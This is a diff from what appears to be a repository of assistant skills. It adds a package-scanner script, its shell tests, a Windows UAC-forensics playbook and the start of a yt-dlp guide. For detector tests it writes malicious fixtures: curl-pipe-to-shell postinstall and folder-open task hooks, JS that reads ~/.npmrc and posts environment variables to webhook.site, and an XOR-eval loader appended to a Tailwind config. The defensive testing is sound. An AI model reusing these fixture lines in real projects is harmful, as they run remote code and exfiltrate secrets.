+    if not (shutil.which("guarddog") and shutil.which("semgrep")):
+        return None  # caller logs the loud skip once
+    env = dict(os.environ, PYTHONUTF8="1")  # Windows: silent false-clean without it
+    sub = "npm" if eco == "npm" else "pypi"
+    try:
+        r = subprocess.run(["guarddog", sub, "scan", str(pkg_dir)],
+                           capture_output=True, text=True, timeout=300, env=env)
+        out = (r.stdout or "") + (r.stderr or "")
+        m = re.search(r"(\d+)\s+potentially malicious indicators", out)
+        n = int(m.group(1)) if m else 0
+        return {"indicators": n, "raw": out[-800:]}
+    except (subprocess.SubprocessError, OSError) as e:
+        return {"indicators": -1, "raw": f"guarddog failed: {e}"}
+
+
+def live_check(name: str, version: str):
+    """Does the registry still serve this exact version? Unpublished = IOC."""
+    import urllib.request
+    import urllib.error
+    url = f"https://registry.npmjs.org/{name.replace('/', '%2F')}/{version}"
+    try:
+        req = urllib.request.Request(url, method="GET",
+                                     headers={"Accept": "application/vnd.npm.install-v1+json"})
+        with urllib.request.urlopen(req, timeout=10):
+            return "present"
+    except urllib.error.HTTPError as e:
+        return "absent" if e.code == 404 else "unavailable"
+    except (urllib.error.URLError, TimeoutError, OSError):
+        return "unavailable"
+
+
+def main():
+    ap = argparse.ArgumentParser(
+        description="Behavioural scan of installed npm/PyPI packages (post-install gap).",
+        epilog="Examples:\n"
+               "  postinstall-audit.py --root ~/code\n"
+               "  postinstall-audit.py --root X:/Forge --json | jq '.data.findings[]'\n"
+               "  postinstall-audit.py --root . --deep --min-severity high\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("--root", action="append", default=None, metavar="DIR")
+    ap.add_argument("--json", action="store_true")
+    ap.add_argument("--findings-only", action="store_true")
+    ap.add_argument("--cache", type=Path, default=None, metavar="PATH")
+    ap.add_argument("--no-cache", action="store_true")
+    ap.add_argument("--min-severity", choices=SEVERITIES, default="medium")
+    ap.add_argument("--deep", action="store_true",
+                    help="confirm flagged packages with GuardDog if installed")
+    ap.add_argument("--live", action="store_true",
+                    help="check flagged npm versions still exist on the registry")
+    ap.add_argument("--max-file-kb", type=int, default=512)
+    ap.add_argument("--max-files", type=int, default=120)
+    try:
+        args = ap.parse_args()
+    except SystemExit as e:
+        sys.exit(EXIT_OK if e.code == 0 else EXIT_USAGE)
+
+    roots = args.root or [os.getcwd()]
+    if not any(Path(r).expanduser().exists() for r in roots):
+        die(f"no root exists among: {roots}", EXIT_NOT_FOUND)
+
+    cache_path = args.cache or default_cache()
+    cache = {} if args.no_cache else load_cache(cache_path)
+    min_idx = SEVERITIES.index(args.min_severity)
+
+    deep_engine = bool(shutil.which("guarddog") and shutil.which("semgrep"))
+    if args.deep and not deep_engine:
+        log("[deep] SKIPPED — guarddog/semgrep not installed; heuristics only.")
+        log("[deep] install on demand:  uv tool install guarddog semgrep")
+
+    t0 = time.time()
+    scanned = cached = 0
+    packages = []
+    findings = []
+    live_unavailable = False
+
+    for eco, pkg_dir, marker in iter_package_dirs(roots):
+        if eco == "npm":
+            name, version, pkg_findings = scan_npm_manifest(pkg_dir)
+            scan_dirs = [pkg_dir]
+        else:
+            name, version, scan_dirs = scan_pypi_dist_info(pkg_dir)
+            pkg_findings = []
+            if not scan_dirs:
+                continue
+        key = str(pkg_dir.resolve())
+        fp_info, src = fingerprint(scan_dirs[0], args.max_files)
+        for extra in scan_dirs[1:]:
+            fi2, src2 = fingerprint(extra, args.max_files - len(src))
+            fp_info["files"] += fi2["files"]
+            fp_info["size"] += fi2["size"]
+            fp_info["max_mtime"] = max(fp_info["max_mtime"], fi2["max_mtime"])
+            src.extend(src2)
+        fpid = f"{name}@{version}:{fp_info['files']}:{fp_info['size']}:{fp_info['max_mtime']}"
+        entry = cache.get(key)
+        if entry and entry.get("fpid") == fpid:
+            pkg_findings = [tuple(f) for f in entry.get("findings", [])]
+            cached += 1
+        else:
+            pkg_findings += scan_sources(src, args.max_file_kb)
+            pkg_findings += tamper_check(fp_info, marker)
+            cache[key] = {"fpid": fpid, "findings": pkg_findings,
+                          "scanned": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())}
+            scanned += 1
+        packages.append({"ecosystem": eco, "name": name, "version": version,
+                         "path": str(pkg_dir)})
+        reportable = [f for f in pkg_findings if SEVERITIES.index(f[0]) >= min_idx]
+        if not reportable:
+            continue
+        rec = {"ecosystem": eco, "name": name, "version": version,
+               "path": str(pkg_dir),
+               "findings": [{"severity": s, "kind": k, "detail": d} for s, k, d in reportable]}
+        if args.deep and deep_engine:
+            rec["guarddog"] = deep_confirm(pkg_dir, eco)
+        if args.live and eco == "npm":
+            status = live_check(name, version)
+            rec["registry"] = status
+            if status == "absent":
+                rec["findings"].append({"severity": "high", "kind": "registry-unpublished",
+                                        "detail": f"{name}@{version} no longer served by registry (takedown IOC)"})
+            elif status == "unavailable":
+                live_unavailable = True
+        findings.append(rec)
+
+    if not args.no_cache:
+        save_cache(cache_path, cache)
+
+    elapsed = round(time.time() - t0, 1)
+    log(f"=== postinstall-audit: {len(packages)} packages ({scanned} scanned, "
+        f"{cached} cache hits) in {elapsed}s — {len(findings)} flagged ===")
+
+    if args.json:
+        print(json.dumps({"data": {"findings": findings,
+                                   "packages": [] if args.findings_only else packages},
+                          "meta": {"count": len(findings), "packages": len(packages),
+                                   "scanned": scanned, "cache_hits": cached,
+                                   "elapsed_s": elapsed, "schema": SCHEMA}}, indent=2))
+    else:
+        for rec in findings:
+            print(f"{rec['ecosystem']}:{rec['name']}@{rec['version']}  {rec['path']}")
+            for f in rec["findings"]:
+                print(f"   [{f['severity']}] {f['kind']}: {f['detail']}")
+            if rec.get("guarddog"):
+                print(f"   [deep] guarddog indicators: {rec['guarddog']['indicators']}")
+        if not findings and not args.findings_only:
+            print("clean: no behavioural findings at/above "
+                  f"severity '{args.min_severity}'")
+
+    if findings:
+        sys.exit(EXIT_FINDINGS)
+    if args.live and live_unavailable:
+        sys.exit(EXIT_UNAVAILABLE)
+    sys.exit(EXIT_OK)
+
+
+if __name__ == "__main__":
+    main()

+ 141 - 0
skills/supply-chain-defense/tests/run.sh

@@ -263,6 +263,147 @@ else
   echo "  SKIP  --deep behavioural (guarddog/semgrep not installed)"
 fi
 
+# ── phone-home-monitor.ps1 (offline replay + contract) ─────────────────────
+echo "-- phone-home-monitor.ps1 --"
+PHM="$SCRIPTS/phone-home-monitor.ps1"
+if command -v pwsh >/dev/null 2>&1; then
+  PHMW="$PHM"
+  command -v cygpath >/dev/null 2>&1 && PHMW="$(cygpath -w "$PHM")"
+  out="$(pwsh -NoProfile -File "$PHMW" --help 2>&1)"; rc=$?
+  expect_exit "--help" 0 "$rc"
+  expect_has  "--help has Examples" "Examples" "$out"
+  pwsh -NoProfile -File "$PHMW" --bogus >/dev/null 2>&1; expect_exit "bad flag -> 2" 2 $?
+  pwsh -NoProfile -File "$PHMW" -InputJson "$SB/nope.json" >/dev/null 2>&1; expect_exit "missing input -> 3" 3 $?
+  # rules engine, deterministic via replay fixtures
+  cat > "$SB/phm-evil.json" <<'JSONF'
+{"connections":[
+ {"processName":"node.exe","path":"C:\\p\\node_modules\\.bin\\node.exe","pid":1,"parentChain":["npm.cmd"],"remoteAddress":"203.0.113.7","remotePort":443,"remoteHost":null,"signed":"unsigned"},
+ {"processName":"python.exe","path":"C:\\u\\AppData\\Local\\Temp\\python.exe","pid":2,"parentChain":["pip.exe"],"remoteAddress":"198.51.100.9","remotePort":443,"remoteHost":"x.webhook.site","signed":"unknown"}
+]}
+JSONF
+  cat > "$SB/phm-clean.json" <<'JSONF'
+{"connections":[
+ {"processName":"chrome.exe","path":"C:\\Program Files\\Google\\Chrome\\chrome.exe","pid":3,"parentChain":["explorer.exe"],"remoteAddress":"140.82.112.3","remotePort":443,"remoteHost":"github.com","signed":"signed"},
+ {"processName":"node.exe","path":"C:\\Program Files\\nodejs\\node.exe","pid":4,"parentChain":["code.exe"],"remoteAddress":"192.168.1.50","remotePort":3000,"remoteHost":null,"signed":"signed"}
+]}
+JSONF
+  EVIL_W="$SB/phm-evil.json"; CLEAN_W="$SB/phm-clean.json"
+  command -v cygpath >/dev/null 2>&1 && { EVIL_W="$(cygpath -w "$EVIL_W")"; CLEAN_W="$(cygpath -w "$CLEAN_W")"; }
+  out="$(pwsh -NoProfile -File "$PHMW" -InputJson "$EVIL_W" 2>/dev/null)"; rc=$?
+  expect_exit "evil replay -> 10" 10 "$rc"
+  expect_has  "flags package-manager child" "package-manager-child" "$out"
+  expect_has  "flags IOC endpoint (webhook.site)" "ioc-endpoint" "$out"
+  expect_has  "flags node_modules path" "suspicious-path" "$out"
+  pwsh -NoProfile -File "$PHMW" -InputJson "$CLEAN_W" >/dev/null 2>&1
+  expect_exit "clean replay (LAN node dev-server incl.) -> 0" 0 $?
+  out="$(pwsh -NoProfile -File "$PHMW" -InputJson "$EVIL_W" -Json 2>/dev/null)"; rc=$?
+  expect_exit "evil replay --json -> 10" 10 "$rc"
+  expect_has  "json envelope has schema" "phone-home-monitor/v1" "$out"
+  # -Sysmon contract: exit 5 with install hint when Sysmon absent (skip if installed)
+  if pwsh -NoProfile -Command 'try { $null = Get-WinEvent -ListLog "Microsoft-Windows-Sysmon/Operational" -ErrorAction Stop; exit 0 } catch { exit 1 }' >/dev/null 2>&1; then
+    echo "  SKIP  -Sysmon missing-dep check (Sysmon is installed here)"
+  else
+    out="$(pwsh -NoProfile -File "$PHMW" -Sysmon 2>&1)"; rc=$?
+    expect_exit "-Sysmon w/o Sysmon -> 5" 5 "$rc"
+    expect_has  "hint names SwiftOnSecurity config" "SwiftOnSecurity" "$out"
+  fi
+else
+  echo "  SKIP  pwsh not found (Windows-only script)"
+fi
+
+# ── postinstall-audit.py (on-disk behavioural scan, incremental cache) ─────
+echo "-- postinstall-audit.py --"
+PA="$SCRIPTS/postinstall-audit.py"
+"$PYTHON" "$PA" --help >/dev/null 2>&1; expect_exit "--help" 0 $?
+"$PYTHON" "$PA" --bogus >/dev/null 2>&1; expect_exit "bad flag -> 2" 2 $?
+"$PYTHON" "$PA" --root "$SB/nonexistent-root-xyz" >/dev/null 2>&1; expect_exit "missing root -> 3" 3 $?
+
+# malicious npm package: shell lifecycle + cred-read + exfil endpoint + env harvest
+mkdir -p "$SB/pa/node_modules/evil-pkg" "$SB/pa/node_modules/good-pkg"
+printf '{"name":"evil-pkg","version":"1.0.0","scripts":{"postinstall":"curl http://1.2.3.4/x | sh"}}' > "$SB/pa/node_modules/evil-pkg/package.json"
+cat > "$SB/pa/node_modules/evil-pkg/index.js" <<'EVIL'
+const c = require('fs').readFileSync(process.env.HOME + '/.npmrc');
+fetch('https://webhook.site/abc', {method:'POST', body: JSON.stringify(process.env)});
+EVIL
+printf '{"name":"good-pkg","version":"2.0.0"}' > "$SB/pa/node_modules/good-pkg/package.json"
+printf 'module.exports = (a,b) => a+b;\n' > "$SB/pa/node_modules/good-pkg/index.js"
+out="$("$PYTHON" "$PA" --root "$SB/pa" --no-cache 2>/dev/null)"; rc=$?
+expect_exit "malicious tree -> 10" 10 "$rc"
+expect_has  "flags lifecycle-shell" "lifecycle-shell" "$out"
+expect_has  "flags cred-exfil" "cred-exfil" "$out"
+expect_has  "flags env-exfil" "env-exfil" "$out"
+expect_has  "names evil-pkg" "evil-pkg@1.0.0" "$out"
+
+# clean tree -> exit 0 (and good-pkg never flagged)
+mkdir -p "$SB/pa-clean/node_modules/lib"
+printf '{"name":"lib","version":"1.0.0"}' > "$SB/pa-clean/node_modules/lib/package.json"
+printf 'export const f = (x) => x * 2;\n' > "$SB/pa-clean/node_modules/lib/index.js"
+"$PYTHON" "$PA" --root "$SB/pa-clean" --no-cache >/dev/null 2>&1
+expect_exit "clean tree -> 0" 0 $?
+
+# false-positive guard: eval+base64 (legit bundler pattern) must NOT fire at default medium
+mkdir -p "$SB/pa-bundler/node_modules/bundler"
+printf '{"name":"bundler","version":"1.0.0"}' > "$SB/pa-bundler/node_modules/bundler/package.json"
+printf 'const v = eval("1+1"); const d = atob("aGk=");\n' > "$SB/pa-bundler/node_modules/bundler/index.js"
+"$PYTHON" "$PA" --root "$SB/pa-bundler" --no-cache >/dev/null 2>&1
+expect_exit "eval+base64 below default medium gate -> 0" 0 $?
+out="$("$PYTHON" "$PA" --root "$SB/pa-bundler" --no-cache --min-severity low 2>/dev/null)"; rc=$?
+expect_exit "eval+base64 visible at --min-severity low -> 10" 10 "$rc"
+expect_has  "low eval-base64 surfaces" "eval-base64" "$out"
+
+# --json envelope shape
+out="$("$PYTHON" "$PA" --root "$SB/pa" --no-cache --json --findings-only 2>/dev/null)"
+expect_has  "json envelope schema" "postinstall-audit/v1" "$out"
+
+# incremental cache: a second run on an unchanged tree is all cache hits
+CACHE="$SB/pa-cache.json"
+"$PYTHON" "$PA" --root "$SB/pa-clean" --cache "$CACHE" >/dev/null 2>&1
+err="$("$PYTHON" "$PA" --root "$SB/pa-clean" --cache "$CACHE" 2>&1 >/dev/null)"
+expect_has  "second run hits cache" "cache hits" "$err"
+
+# ── config-drift-check.py (repo-integrity / config-as-code, layer 6) ───────
+echo "-- config-drift-check.py --"
+CD="$SCRIPTS/config-drift-check.py"
+"$PYTHON" "$CD" --help >/dev/null 2>&1; expect_exit "--help" 0 $?
+"$PYTHON" "$CD" --bogus >/dev/null 2>&1; expect_exit "bad flag -> 2" 2 $?
+"$PYTHON" "$CD" "$SB/no-such-file.config.js" >/dev/null 2>&1; expect_exit "missing file -> 3" 3 $?
+
+# clean build config -> 0 (legit vite config must NOT false-fire)
+mkdir -p "$SB/cd-clean" "$SB/cd-evil/.vscode"
+cat > "$SB/cd-clean/vite.config.js" <<'VITE'
+import { defineConfig } from 'vite'
+import react from '@vitejs/plugin-react'
+export default defineConfig({ plugins: [react()], server: { port: 3000 } })
+VITE
+"$PYTHON" "$CD" --root "$SB/cd-clean" >/dev/null 2>&1
+expect_exit "clean build config -> 0" 0 $?
+
+# poisoned tailwind.config.js: appended blockchain-RPC + XOR + eval loader (PolinRider Stage 2)
+cat > "$SB/cd-evil/tailwind.config.js" <<'TW'
+module.exports = { content: ['./src/**/*.{js,ts}'], theme: { extend: {} } }
+const _0xa1b2 = fetch('https://api.ethplorer.io/getAddressInfo/0xdead?apiKey=freekey').then(r=>r.text()).then(d=>{let s='';for(let i=0;i<d.length;i++)s+=String.fromCharCode(d.charCodeAt(i)^0x42);eval(s);});
+TW
+"$PYTHON" "$CD" --root "$SB/cd-evil" --findings-only >/dev/null 2>&1
+expect_exit "poisoned build config -> 10" 10 $?
+out="$("$PYTHON" "$CD" "$SB/cd-evil/tailwind.config.js" --findings-only 2>&1)"; rc=$?
+expect_exit "poisoned config (by file) -> 10" 10 "$rc"
+expect_has  "names the flagged file" "tailwind.config.js" "$out"
+expect_has  "flags blockchain dead-drop" "blockchain-c2" "$out"
+expect_has  "flags eval/exec" "eval-exec" "$out"
+expect_has  "flags xor decode" "xor-decode" "$out"
+
+# .vscode/tasks.json runOn:folderOpen auto-run shell (PolinRider Stage 1)
+cat > "$SB/cd-evil/.vscode/tasks.json" <<'TJ'
+{ "version": "2.0.0", "tasks": [ { "label": "init", "type": "shell", "command": "curl http://1.2.3.4/x | sh", "runOptions": { "runOn": "folderOpen" } } ] }
+TJ
+out="$("$PYTHON" "$CD" "$SB/cd-evil/.vscode/tasks.json" --findings-only 2>&1)"; rc=$?
+expect_exit "tasks.json folderOpen auto-run -> 10" 10 "$rc"
+expect_has  "flags tasks autorun shell" "tasks-autorun-shell" "$out"
+
+# --json envelope shape
+out="$("$PYTHON" "$CD" --root "$SB/cd-evil" --json --findings-only 2>/dev/null)"
+expect_has  "json envelope schema" "config-drift-check/v1" "$out"
+
 # ── summary ────────────────────────────────────────────────────────────────
 echo "=== $PASS passed, $FAIL failed ==="
 [[ "$FAIL" -eq 0 ]] || exit 1

+ 5 - 1
skills/windows-ops/SKILL.md

@@ -1,6 +1,6 @@
 ---
 name: windows-ops
-description: "Comprehensive Windows workstation operations - diagnose slow boot, identify failing drives, decode BSOD crashes, manage startup apps, audit event logs. Use for: Windows is slow, slow bootup, won't boot, blue screen, BSOD, kernel crash, drive failing, SMART errors, disk errors, Event 41, Event 129, storahci reset, BugCheck, CRITICAL_PROCESS_DIED, crash dump, MEMORY.DMP, minidump, msconfig, services.msc, registry Run keys, StartupApproved, scheduled tasks at logon, slow login, high CPU at boot, Adobe startup, Docker startup, disable startup app."
+description: "Comprehensive Windows workstation operations - diagnose slow boot, identify failing drives, decode BSOD crashes, manage startup apps, audit event logs. Use for: Windows is slow, slow bootup, won't boot, blue screen, BSOD, kernel crash, drive failing, SMART errors, disk errors, Event 41, Event 129, storahci reset, BugCheck, CRITICAL_PROCESS_DIED, crash dump, MEMORY.DMP, minidump, msconfig, services.msc, registry Run keys, StartupApproved, scheduled tasks at logon, slow login, high CPU at boot, Adobe startup, Docker startup, disable startup app, unexplained UAC prompt, what asked for admin, elevation prompt, prefetch forensics, BAM, process attribution, Security 4688."
 license: MIT
 allowed-tools: "Read Write Bash"
 metadata:
@@ -38,6 +38,8 @@ Recovery from no-boot scenarios — boot configuration data (BCD) repair via `bo
 
 Remote Windows diagnostics across the network. PowerShell remoting via WS-Man (the default WinRM transport) or SSH (modern alternative on Win10 1809+). Authentication for in-domain (Kerberos), workgroup (NTLM via `TrustedHosts`), and cross-OS (SSH key) scenarios. The double-hop problem and CredSSP. Running this skill's diagnostic scripts against a remote box by staging the skill folder via `Copy-Item -ToSession`.
 
+Unexplained UAC prompts attributed to their caller. A declined elevation still executes the requesting binary unelevated, so Prefetch run times (PECmd), BAM last-execution FILETIMEs, the npx `_npx` cache, and Security 4688 (if auditing is on) identify exactly what asked for admin and when — see `references/uac-attribution.md` for the playbook and the one-elevated-pass forensic ladder.
+
 Boot duration measurement and slow-startup-component identification. The `Microsoft-Windows-Diagnostics-Performance/Operational` log (admin-only) records per-boot timing — `BootMainPathTime`, `BootPostBootTime`, total, and degradation flag — plus calls out specific apps, drivers, or services that exceeded the system's fast-boot threshold. Without admin, kernel-event fallback gives coarser but still useful timing.
 
 ## The Universal Insight
@@ -318,6 +320,8 @@ Output follows the claude-mods diagnostic convention:
 
 - `references/recovery-patterns.md` — Drive-failure data recovery (robocopy `/R:0`, ddrescue with map files), filesystem repair (chkdsk decision tree — when NEVER to `/f`), system file integrity (`sfc`, `DISM /Online /Cleanup-Image /RestoreHealth`), boot configuration repair (BCD, `bootrec`, UEFI bootloader rebuild), pagefile relocation, drive removal procedures (software offline → BIOS-disable → physical disconnect → destruction), and no-boot recovery (Windows RE, Safe Mode, System Restore). Load when responding to "my drive is dying" or any irreversible/destructive operation.
 
+- `references/uac-attribution.md` — Attributing an unexplained UAC prompt to its caller: the 30-second in-the-moment playbook (Show details → note command line → decline → check Security 4688), the after-the-fact forensic ladder (Prefetch/PECmd run times, BAM FILETIME decode, npx `_npx` cache, agent-transcript time correlation — all in one elevated pass, never elevated via gsudo itself), the process-creation auditing countermeasure, and the `npx` auto-install footgun. Load when responding to "what asked for admin?", an unexpected elevation prompt, or post-incident process attribution.
+
 - `references/remote-diagnostics.md` — PowerShell remoting patterns (WS-Man and SSH transports) for running this skill against a remote Windows box. Authentication models (Kerberos, NTLM, CredSSP, SSH keys), `TrustedHosts` setup for workgroup machines, the double-hop problem, common error catalog, and a complete worked example: stage the skill on the target via `Copy-Item -ToSession`, then invoke each script remotely and parse the JSON output. Load when troubleshooting "my dad's PC across town", a server in a datacenter, or any Windows machine where physical access isn't available.
 
 ## Worked example

+ 2 - 2
skills/windows-ops/references/remote-diagnostics.md

@@ -292,13 +292,13 @@ Scenario: your colleague's PC across town is crashing. They give you Administrat
 
 ```powershell
 # 1. Verify connectivity
-$target = 'COLLEAGUE-PC.evolution7.local'
+$target = 'COLLEAGUE-PC.corp.local'
 Test-WSMan -ComputerName $target
 # Expect: wsmid + ProductVendor lines
 
 # 2. Auth
 $cred = Get-Credential -Message "Admin on $target"
-# Type: evolution7\admin   (domain) or COLLEAGUE-PC\admin (local)
+# Type: CORP\admin   (domain) or COLLEAGUE-PC\admin (local)
 
 # 3. Stage the skill on target
 $s = New-PSSession -ComputerName $target -Credential $cred

+ 78 - 0
skills/windows-ops/references/uac-attribution.md

@@ -0,0 +1,78 @@
+# UAC Attribution — who asked for elevation?
+
+How to attribute an unexplained UAC prompt to its caller, in the moment and after
+the fact. Distilled from the TITAN gsudo incident (2026-06-11): an unexplained
+gsudo UAC prompt was traced to `npx` auto-installing the npm package `sd@0.0.3`
+(a 20-line `sudo` wrapper) when the Rust `sd` wasn't found in a project prefix —
+the package ran `sudo <args>`, and `sudo` on PATH was gsudo's alias.
+
+## The 30-second playbook (when the prompt is on screen)
+
+1. **Click "Show details" FIRST.** Note the program path, publisher, and — most
+   importantly — the full command line. This is the only moment the command line
+   is guaranteed visible without auditing.
+2. **Then decline** (unless you initiated it). Declining is safe; the requesting
+   process still ran unelevated, which is what leaves the artifacts below.
+3. **Afterwards, check Security log 4688** for the caller (requires
+   process-creation auditing — see Countermeasure):
+
+   ```powershell
+   Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688;
+       StartTime=(Get-Date).AddMinutes(-15)} |
+     Where-Object { $_.Message -match 'gsudo|consent' } |
+     ForEach-Object { [xml]$x=$_.ToXml(); $d=@{};
+       $x.Event.EventData.Data | ForEach-Object { $d[$_.Name]=$_.'#text' }
+       [pscustomobject]@{ Time=$_.TimeCreated; New=$d.NewProcessName;
+         Parent=$d.ParentProcessName; Cmd=$d.CommandLine } }
+   ```
+
+   `ParentProcessName` + `CommandLine` is the definitive answer.
+
+## Forensics without 4688 (auditing was off at the time)
+
+A **declined** elevation still executes the requesting binary unelevated first,
+so execution artifacts exist. Work down this ladder — all admin-gated, so do
+every read in ONE elevated pass (`Start-Process powershell -Verb RunAs`, never
+via gsudo itself: that would overwrite the gsudo prefetch evidence).
+
+| Artifact | What it gives | How |
+|---|---|---|
+| `C:\Windows\Prefetch\<EXE>-<hash>.pf` | Last 8 run times + run count + every file/dir the process touched in its first 10s | PECmd (Eric Zimmerman, `download.ericzimmermanstools.com/PECmd.zip` — .NET 4 build runs anywhere). Raw `.pf` CreationTime = first run, LastWriteTime ≈ last run + 10s |
+| All `.pf` last-written in the window | Co-executed processes → candidate parents | `Get-ChildItem C:\Windows\Prefetch *.pf` filtered by LastWriteTime |
+| BAM (`HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\<SID>`) | Per-exe last-execution FILETIME (bytes 0–7 of each value) | Decode with `[DateTime]::FromFileTimeUtc([BitConverter]::ToInt64($bytes,0))`. NOTE: BAM misses short-lived CLI processes — prefetch is the reliable source for those |
+| `CONSENT.EXE-*.pf` LastWriteTime | Confirms a UAC dialog actually appeared | Same prefetch read |
+| npm `_npx` cache (`npm config get cache` + `\_npx`) | Whether npx fetched+ran a registry package — directory CreationTime is second-precision | Compare against the elevation time; read the cached `package.json` and bin to see what executed |
+| Claude/agent transcripts (`~\.claude\projects\**\*.jsonl`) | What commands an agent session ran at that second | Filter lines by `"timestamp":"<UTC-ISO-minute>"` — search by TIME, not keyword: the elevating string (`sudo`) may never appear in the transcript if a wrapper script/package issued it |
+
+Cross-correlate by the second: the process whose run time is 0–5s before the
+target binary's run time is the likely parent.
+
+## Countermeasure — make the next one attributable
+
+Enable process-creation auditing with command lines (one elevated pass):
+
+```powershell
+auditpol /set /subcategory:"{0CCE922B-69AE-11D9-BED3-505054503030}" /success:enable
+reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
+    /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
+```
+
+(The GUID is the Process Creation subcategory — locale-proof.) Cost: modest CPU,
+but the Security log (default 20 MB, rolls over) may then retain less than a day
+on a busy box. Grow it if you want a real window:
+`wevtutil sl Security /ms:104857600` (100 MB).
+
+## The npx footgun (root-cause class)
+
+`npx <cmd>` that doesn't resolve locally **auto-installs an arbitrary npm
+package of that name from the registry and executes it** — no prompt in
+non-interactive shells. Any short command name (`sd`, `rg`, `fd`, `z`) collides
+with ancient npm squatters. Defenses:
+
+- Never route a native CLI through `npx`. `npx --prefix <dir> sd ...` is how
+  the incident happened.
+- `npx --no-install <cmd>` fails instead of fetching.
+- `npm config set npx-prompt true` (or rely on a Socket wrapper — see
+  `supply-chain-defense`) to gate registry fetches.
+- After any suspected incident, inspect `<npm-cache>\_npx\*` directories by
+  CreationTime and purge unwanted entries.

+ 337 - 0
skills/ytdlp-ops/SKILL.md

@@ -0,0 +1,337 @@
+---
+name: ytdlp-ops
+description: "yt-dlp operations - the media ACQUISITION layer that feeds ffmpeg-ops: format selection (-S sort vs -f filters) that avoids post-download transcodes, --download-sections clip-at-download, audio-only extraction for STT pipelines (-x --audio-format opus), playlists + --download-archive incremental channel syncs, cookies/auth (--cookies-from-browser), rate limiting and politeness, SponsorBlock mark/remove, output templates (-o), subtitle download (--write-subs/--write-auto-subs), remux-vs-recode doctrine, and failure triage (403s, throttling, geo blocks, the nsig-extraction class that means yt-dlp is outdated). Triggers on: yt-dlp, ytdlp, youtube-dl, download video, download youtube, download from youtube, download playlist, download channel, archive channel, channel sync, rip audio, youtube to mp3, youtube to mp4, save video, grab video, video downloader, download subtitles, download transcript, clip from youtube, download section, sponsorblock, cookies-from-browser, download-archive, nsig, requested format is not available, sign in to confirm, download livestream, record stream, live-from-start, premiere, impersonate."
+when_to_use: "Use for ANY yt-dlp invocation or download-from-platform task BEFORE hand-writing a command - format selection and politeness flags encode footguns (silent VP9-to-H.264 transcodes, account flags, keyframe-snapped clips, full-channel rewalks) that waste hours or get IPs blocked. Post-download processing belongs to ffmpeg-ops; this skill ends when the file is on disk in the right codec."
+license: MIT
+compatibility: "yt-dlp 2025.x+ (releases near-monthly; run the verifier FIRST when anything fails). ffmpeg on PATH required for merge/remux/extract-audio. A JS runtime (deno auto-enabled; node via --js-runtimes node) required for full YouTube format extraction. Scripts: bash."
+allowed-tools: "Read Write Edit Bash Glob Grep"
+metadata:
+  author: claude-mods
+  related-skills: ffmpeg-ops, cutcraft, debug-ops
+---
+
+# yt-dlp Operations
+
+Operational expertise for yt-dlp as the **acquisition layer**: get the right bytes
+onto disk in the right codec, politely, resumably — then hand off. Anything that
+re-encodes, cuts precisely, grades, or packages after download is
+[ffmpeg-ops](../ffmpeg-ops/SKILL.md) territory; AI-driven editing of what you
+acquired (transcript → EDL → final cut) is [cutcraft](../cutcraft/SKILL.md) —
+the full chain is acquire → process → edit.
+
+## Doctrine: version first, formats second
+
+**yt-dlp vs the platforms is an arms race.** Releases land near-monthly and
+extractors break between them — the majority of "yt-dlp is broken" reports are a
+stale binary. Before debugging *anything*, check staleness:
+
+```bash
+bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --live          # vs latest GitHub release
+bash skills/ytdlp-ops/scripts/check-ytdlp-version.sh --live --json | jq '.data.days_behind'
+```
+
+Exit `10` = installed build is >60 days behind latest (or a smoke extraction
+failed) → update before any other triage:
+
+```bash
+uv tool upgrade yt-dlp        # pip/uv-managed install (preferred)
+yt-dlp -U                     # standalone binary self-update only
+```
+
+**Second rule: pick codecs at download time.** The default "best" on YouTube is
+VP9/AV1 + Opus in WebM/MKV. If the destination needs H.264 MP4, stating that in
+`-S` costs nothing — discovering it after download costs a full transcode.
+
+## Cookbook
+
+### Format selection (`-S` over `-f`)
+
+```bash
+# Declarative sort (-S) — PREFER this. States preferences in priority order and
+# always degrades gracefully to the nearest available. h264 + m4a merges
+# natively into mp4: zero post-download transcode.
+yt-dlp -S "res:1080,vcodec:h264,acodec:m4a" --merge-output-format mp4 URL
+
+# Hard filter (-f) — exact control, but FAILS ("Requested format is not
+# available") when nothing matches. Use only for genuine hard requirements,
+# always with a / fallback chain:
+yt-dlp -f "bv*[height<=1080][vcodec^=avc1]+ba[ext=m4a]/b[height<=1080]/b" URL
+
+# Survey what the extractor actually offers before arguing with selectors:
+yt-dlp -F URL
+
+# Smallest acceptable file (bandwidth/storage constrained; + prefix = ascending):
+yt-dlp -S "res:480,+size,+br" URL
+
+# Best quality regardless of codec (archival source for later ffmpeg-ops work):
+yt-dlp -S "res,fps,hdr:12,vcodec,acodec" --merge-output-format mkv URL
+```
+
+Sort-field reference, filter grammar, per-destination presets:
+[references/format-selection.md](references/format-selection.md) +
+[assets/format-presets.json](assets/format-presets.json).
+
+### Clip at download (`--download-sections`)
+
+```bash
+# Download ONLY 10:00-12:30 — ranged requests, not a full download + trim:
+yt-dlp --download-sections "*10:00-12:30" -S "res:1080,vcodec:h264" URL
+
+# Frame-accurate cut points (re-encodes around the cuts only):
+yt-dlp --download-sections "*10:00-12:30" --force-keyframes-at-cuts URL
+
+# Last 5 minutes / by chapter-title regex / multiple sections:
+yt-dlp --download-sections "*-5:00-inf" URL
+yt-dlp --download-sections "Intro" --download-sections "Outro" URL
+```
+
+Same physics as ffmpeg copy-cuts: without `--force-keyframes-at-cuts` the section
+boundaries **snap to keyframes** (can be seconds off). Need many precise cuts from
+one source? Download once, then use the ffmpeg-ops EDL workflow.
+
+### Audio-only extraction (STT pipelines)
+
+```bash
+# THE STT acquisition command. YouTube's best audio IS Opus — asking for opus
+# means -x COPIES the stream out (no transcode, no quality loss):
+yt-dlp -x --audio-format opus -o "%(id)s.%(ext)s" URL
+
+# Zero-processing alternative — native container, no ffmpeg step at all:
+yt-dlp -f "ba" -o "%(id)s.%(ext)s" URL
+
+# Whole channel's audio for a transcription pipeline (archive = resumable):
+yt-dlp -x --audio-format opus --download-archive stt-archive.txt \
+  -o "%(channel)s/%(id)s.%(ext)s" CHANNEL_URL
+```
+
+Do NOT `--audio-format mp3` for STT — that's a lossy→lossy transcode that helps
